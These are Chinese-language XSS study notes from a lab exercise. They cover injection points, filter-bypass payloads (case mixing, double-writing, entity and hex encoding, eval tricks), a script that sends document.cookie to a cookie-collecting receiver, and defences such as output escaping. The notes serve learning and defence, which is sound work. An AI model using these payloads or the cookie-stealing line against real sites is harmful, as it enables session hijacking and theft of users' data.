《XSS跨站指令碼攻擊剖析與防禦》
阿新 • • 發佈:2020-12-06
xss-lab體會
探測xss漏洞
- 先輸入測試唯一的字元,確認輸入、輸出點
- 可能的輸入點
- 任何可以輸入字元的地方
- http頭
- cookie
利用
- 語句包含在
<script>...</script>
- 事件彈窗
- 如
<input name="keyword" value="" onclick="alert(123)">
- 常用的事件函式,比如onchange, onclick, oninput
- 除了利用alert,還有confirm以及prompt
- 如
- 語句包含在標籤中,如
<a href="javascript:alert('123')">點選觸發</a>
<img src=1 onerror="alert(123)">
繞過,過濾
- 大小寫
- 當程式沒有用類似strtolower()函式,將字元統一轉為大、小寫字元時,可繞過
- 雙寫繞過
- 編碼繞過:先HTML字元實體轉為16進位制,再進行URL編碼。(適用於:字元實體類)
- 遇到將關鍵字替換為空格的情況
-
使用
\r
或\n
的十六進位制%0d %0a -
如:
<img%0dsrc=1%0donerror="alert(123)">
-
注:不換行空格
不允許換行
-
- 遇到必須帶某關鍵字的,可以在註釋中新增關鍵字,也可以直接在事件中新增
-
如:
javascript:alert(1)/*http://*/
-
如:javascript:alert("http://")
-
反射型xss-獲取使用者cookie
- get型xss獲取cookie
- 方法:
- 構造含有程式碼的url,然後傳送給使用者,即可觸發
- 直接在輸入點輸入程式碼
- 如:在輸入點寫入內容
<script> document.location = 'http://127.0.0.1/antxss/xcookie/cookie.php?cookie=' + document.cookie; </script>
。在127.0.0.1搭建一個接收cookie的平臺,使用document.cookie獲取cookie後,即可傳輸到接收平臺
- 方法:
- post型xss獲取使用者cookie
儲存型xss釣魚攻擊
儲存型xss鍵盤記錄
xss盲打
- 輸出點不直接在前端,只有後臺管理員才可見
- 相當於儲存型
xss繞過-過濾
- 轉換
- 前端限制繞過,直接抓包重放,或直接修改HTML
- 大小寫
<ScRiPT>...</script>
- 雙寫
<sc><script>ript></script>
- 使用註釋進行干擾
<scri<!--test-->pt>....</sc<!--test-->ript>
- 編碼
- 後臺過濾了特殊字元,比如
<script>
標籤,但是該標籤可以被各種編碼,後臺不一定會過濾,當瀏覽器對該編碼進行識別時,會翻譯成正常的標籤,從而執行 - 注意:HTML實體編碼與URL編碼不一樣
- 後臺過濾了特殊字元,比如
- 關於htmlspecialchars()函式
- 功能:把預定義字元轉換為HTML實體
- 可能存在單引號繞過,因為預設編碼雙引號,不編碼單引號。(單引號不屬於HTML中規範的實體編碼)
- ENT_COMPAT 預設,僅編碼雙引號
- ENT_QUOTES編碼雙引號和單引號
- ENT_NOQUOTES不編碼任何引號
xss防禦
- 輸入做過濾,輸出做轉義
- 過濾
- 限制輸入格式,比如要求輸入手機號,則只能輸入數字
- 轉義
- 所有輸出到前端的資料都根據輸出點進行轉義,比如輸出到HTML中進行HTML實體轉義,輸入到JJS裡面的進行js轉義
- 防禦href輸出點
- 如:
<a href='.....'></a>
防止發生xss。可以限制href的格式,只能以http、https開頭,然後再進行htmlspecialchars()過濾
- 如:
- 防禦JS輸出點
- 防止構造閉合
</script>
。因為JavaScript不會對tag和字元實體進行解釋,所以需要進行js轉義,但是轉義後JS無法識別裡面的內容,會影響前端的,所以最好的方法是使用反斜槓對特殊字元進行轉義
- 防止構造閉合
- 過濾
xss初探
注意
- 充分利用瀏覽器特性
產生原因
- 程式碼邏輯
- 瀏覽器特性
- 解析差異
- 伺服器端語言的特性
- 瀏覽器編碼
原理:向HTML程式碼中注入指令碼
概念
- 輸入點
- 這個提交你的攻擊程式碼的地方就叫做輸入點
- 輸出點
- 顯示你具有攻擊性程式碼的那個位置就叫做輸出點。
- 跨域
- 當協議、子域名、主域名、埠,中的任意一個不相同時,稱為不同域,不同域之間請求資料的操作,稱為跨域
- 同源策略
- (瀏覽器的一種約定),規定,兩個不同域間不能使用JS進行互相操作。比如:x.com域名下的JavaScript不能操作y.com域下的物件
- 要進行跨域操作,需要管理員進行特殊配置,如:通過header(“Access-Control-Allow-Origin:x.com”)指定跨域源地址
- 這些標籤可以跨域載入資源,不受同源策略影響
<script src="..."></script>
js載入到本地執行<img src="...">
載入圖片<link href="...">
載入css<iframe src="...">
載入任意資源
型別
- 反射型
- 誘使使用者訪問一個包含惡意執行程式碼的URL
- 可以將程式碼進行編碼處理,迷惑使用者,如:十進位制、十六進位制、ESCAPE等編碼
- 只執行一次,非持久化
- get型
- post型
- 儲存型
- 將具有攻擊性的程式碼(又叫playload)持久化的儲存在目標業務中的某個地方(比如說資料庫, 快取等),在另一個地方又會把這個攻擊程式碼顯示到頁面上,顯示的時候瀏覽器會將它當作合法的script指令碼執行,便開始執行了具有攻擊性的JavaScript指令碼。
- 不需要使用者單擊URL進行觸發,所以可以利用其進行掛馬、釣魚
- DOM型
- 注意
- 反射型、儲存型xss,都是在前端提交資料,然後經過後端處理,再傳到前端。DOM型是純前端操作,不傳到後端
危害
- 網路釣魚
- 竊取使用者cookie
- 劫持使用者
- 強制彈出廣告,刷流量
- 網頁掛馬
- 進行惡意操作,篡改頁面資訊
- 進行大量的客戶端攻擊,如DDoS攻擊
- 獲取使用者資訊,如瀏覽歷史,真實ip,開放埠
- 控制機器,當跳板
- 結合其他漏洞,如CSRF
- 傳播蠕蟲
xss簡單發掘
- 方法
- 黑盒測試
- 對於xss而言,黑盒效果比白盒好
- 白盒測試
- 灰盒測試
- 黑盒測試
- 反射型
- 輸入框、URL引數、來自cookie、post表單、HTTP頭的內容都可能產生xss
- 儲存型
xss Cheat Sheet(xss攻擊指令碼列表)
xss構造剖析
- xss-Filter跨站指令碼過濾器
- 繞過
- 利用<>標記注射HTML/JavaScript
- 利用HTML標籤屬性值執行xss
- 利用很多HTML中的屬性支援 javascript:[code]偽協議的形式,通常只有引用檔案的屬性才能觸發跨站指令碼
- 如:
<img src="javascript:alert(123);">
- 相關屬性
- href=
- lowsrc=
- bgsound=
- background=
- value=
- action=
- dynsrc=
- 空格、回車、Tab鍵
- 如果僅僅把字元做了過濾,則可以使用空格、回車tab鍵繞過
- 注:除了在引號中分隔單詞或強制結束語句外,若語句不完整,額外的空白無論以何種方式新增都無所謂
- 對標籤屬性值轉碼
- HTML中屬性值本身支援ASCII碼形式,支援十進位制、十六進位制,格式:&#+ASCII碼或&#+ASCII碼;
- 常見的
- tab鍵 	
- 換行符 

- 回車鍵 
- 也可以把

或
插入到JavaScript或Vbscript的頭部,如<img src="javascript:alert(123)">
	
等字元可以插入到任何位置
- 產生自己的事件
- 事件的分類
- 使用者介面(滑鼠鍵盤)
- 邏輯(處理的結果)
- 變化(對文件修改)
- 常用事件
*
- 事件的分類
- 利用css跨站
- 子主題 1
- 擾亂過濾規則
- 繞過
- 利用字元編碼
- javascript中的
eval()
函式,可計算字串並執行其中的程式碼- 可使用反斜槓\連線十六進位制字串,然後用eval()函式執行,如
<script>eval("......\....\...\...\..");</script>
- 也可用十進位制字串來執行,但需要String.fromCharCode()函式先把ASCII值轉為字串,如
<img src="javascript:eval(String.fromCharCode(97,108,101,...,...,....,))">
- 可使用反斜槓\連線十六進位制字串,然後用eval()函式執行,如
- css中也支援使用反斜槓\連線十六進位制的字串
- 微軟的script加密技術,只能在IE上執行
- javascript中的
- 拆分跨站法
- 條件:
- 程式沒有對關鍵字過濾,但限制了字元長度
- 條件:
shellcode的呼叫
- 遠端呼叫
- 呼叫伺服器上的js檔案
- 基於DOM的方法建立和插入節點
- window.location.hash
- 條件
- 要能上傳檔案到指定伺服器
- 利用window.location.hash屬性
- 目的:解決URL長度問題
- location.hash用來設定頁面的標籤值
- http:www.haha.com#admin,其location.hash為#admin
- 如:
http:www.haha.com?sort="><script>eval(location.hash.substr(1))</script>#alert('xss')
- 條件
- xss Downloader
- 原理
- 先把程式碼存到資料庫中,再利用XMLHTTP控制元件向網站傳送一個HTTP請求,然後執行返回的資料
- 原理
- 備選儲存技術
- 原理
- 把程式碼存到客戶端本地域中,如HTTPcookie、UserData、localStorage等
- 儲存到cookie的缺點,cookie被限制在4KB內
- UserData是微軟在IE上開的一塊儲存空間,大小有640KB
- localStorage
- 原理